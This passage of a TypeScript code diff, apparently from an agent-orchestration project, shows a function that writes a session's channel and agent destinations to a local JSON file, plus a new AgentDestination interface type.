* The container loads this at startup to know what destinations exist.
*/
export function writeDestinationsFile(agentGroupId: string, sessionId: string): void {
const dir = sessionDir(agentGroupId, sessionId);
if (!fs.existsSync(dir)) return;
const rows = getDestinations(agentGroupId);
const destinations: Array<Record<string, unknown>> = [];
for (const row of rows) {
if (row.target_type === 'channel') {
const mg = getMessagingGroup(row.target_id);
if (!mg) continue;
destinations.push({
name: row.local_name,
displayName: mg.name ?? row.local_name,
type: 'channel',
channelType: mg.channel_type,
platformId: mg.platform_id,
});
} else if (row.target_type === 'agent') {
const ag = getAgentGroup(row.target_id);
if (!ag) continue;
destinations.push({
name: row.local_name,
displayName: ag.name,
type: 'agent',
agentGroupId: ag.id,
});
}
}
const filePath = path.join(dir, '.nanoclaw-destinations.json');
fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2));
log.debug('Destination map written', { sessionId, count: destinations.length });
}
/** Write a message to a session's inbound DB (messages_in). Host-only. */
export function writeSessionMessage(
agentGroupId: string,

View File

@@ -99,3 +99,13 @@ export interface PendingApproval {
payload: string; // JSON
created_at: string;
}
// ── Agent destinations (central DB) ──
export interface AgentDestination {
agent_group_id: string;
local_name: string;
target_type: 'channel' | 'agent';
target_id: string;
created_at: string;
}